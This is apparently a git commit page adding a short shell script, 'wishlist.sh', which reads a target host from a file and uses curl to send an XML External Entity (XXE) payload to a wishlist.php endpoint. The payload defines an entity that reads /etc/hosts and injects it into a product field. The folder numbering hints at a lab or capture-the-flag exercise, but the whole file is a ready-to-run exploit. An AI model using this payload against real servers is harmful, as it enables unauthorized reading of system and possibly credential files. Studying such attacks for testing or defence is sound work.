batman
This commit is contained in:
12
5/wishlist.sh
Executable file
12
5/wishlist.sh
Executable file
@@ -0,0 +1,12 @@
|
||||
#!/bin/sh
|
||||
target=`cat trgt`
|
||||
curl -iH 'Content-Type: application/xml' "http://$target/wishlist.php" \
|
||||
-d '<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE foo [<!ENTITY payload SYSTEM "/etc/hosts"> ]>
|
||||
<wishlist>
|
||||
<user_id>1</user_id>
|
||||
<item>
|
||||
<product_id>&payload;</product_id>
|
||||
</item>
|
||||
</wishlist>'
|
||||
|
Reference in New Issue
Block a user